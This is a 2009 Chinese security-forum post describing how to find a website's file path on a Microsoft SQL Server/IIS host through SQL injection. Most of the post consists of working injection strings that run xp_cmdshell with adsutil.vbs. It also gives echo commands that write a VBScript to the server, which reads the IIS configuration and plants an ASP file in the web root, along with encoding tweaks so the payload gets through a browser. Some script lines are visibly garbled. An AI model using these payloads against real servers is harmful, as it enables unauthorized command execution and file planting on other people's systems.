Board logo

标题: 【3AST共享】SQL server取得网站路径的几种方法及比较3 [打印本页]

作者: BHY    时间: 2009-2-13 00:19     标题: 【3AST共享】SQL server取得网站路径的几种方法及比较3

SQL server取得网站路径的几种方法及比较3
SQL server取得网站路径的几种方法及比较3
 这种方法很好



  下面这个是原文



  想到了使用adsutil.vbs程序,我是这样执行的



  a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt’;--是不是很长啦通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯),导入到a.txt中对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs,删了或是放到别的地方我们就没办法了(不可能自已用echo 命令写一个吧)



  第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧



.....xp_cmdshell ’echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs’;--  
.....xp_cmdshell ’echo Set WshShell = Wscript.createObject("Wscript.Shell")>>c:\read.vbs’  
;--  
.....  
-------------------read.vbs---------------------------------  
set fso1=createobject("scripting.filesystemobject")  
Set WshShell = Wscript.createObject("Wscript.Shell")  
spa=WshShell.Environment("process")("windir")  
set fil =fso1.opentextfile(spa & "\system32\aa.txt")  
do while not fil.atendofstream  
nr=fil.readline  
if left(nr,4)="Path" then  
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)  
exit do  
end if  
loop  
set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)  
fil1.writeline ""  
---------------cut here-------------------------------------   




  第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径



  然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯



  执行http://x.x.x.x/dd.asp



  返回:\xxx



  哈哈,的确是好方法,



  不过原文好像有点问题



  就是



  set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")



  set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)



  两句提交时会出错



  于是我们想到了加号,和&的功能相同




  还有就是写点什么东西到dd.asp呢?写入pa,哈哈



哈哈,改成了



-------------------read.vbs---------------------------------  
set fso1=createobject("scripting.filesystemobject")  
Set WshShell = Wscript.createObject("Wscript.Shell")  
spa=WshShell.Environment("process")("windir")  
set fil =fso1.opentextfile(spa "\system32\aa.txt")  
do while not fil.atendofstream  
nr=fil.readline  
if left(nr,4)="Path" then  
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)  
exit do  
end if  
loop  
set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)  
fil1.writeline pa  
---------------cut here--------------------------------------  




  因为用浏览器提交时 号被转换成了空格,所以在提交的时候还应该把变成%2B,好了,应该可以了,如下



-------------------read.vbs---------------------------------  
set fso1=createobject("scripting.filesystemobject")  
Set WshShell = Wscript.createObject("Wscript.Shell")  
spa=WshShell.Environment("process")("windir")  
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")  
do while not fil.atendofstream  
nr=fil.readline  
if left(nr,4)="Path" then  
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)  
exit do  
end if  
loop  
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)  
fil1.writeline pa  
---------------cut here--------------------------------------







如果发现1没有的话,我们可以该成2,3,4...........
  a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt’;--



  但是这种方法只能在windows2000下使用,因为2003下新建的网站所在地址不是按照1234来排列的,好像是随机生成的,个人比较过几个2003下的



  地址,没有发现什么规律.



  优缺点分析



  同上xp_cmdshell不是每一个用户都可以用的!还有一个问题是adsutil文件不一定存在,或者不一定在那个路径上,当然如果你原意的话你可以用



  echo写一个(哈哈,老多老多行的哟),另外的一个问题是,如果主机上有很多站点怎么办?我遇到过一个有九个站点的主机,胆识只有第8个是有用



  的,晕了吧,很难有人有嗯那个耐性会坚持到那么多的,早就崩溃了或许.还有就是不能在2003下用!



  不过说实话,这个方法的确是一个好方法
作者: 冷酷鲨鱼    时间: 2010-4-17 18:17

为什么这么多,不错的帖子没人顶一下也?




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2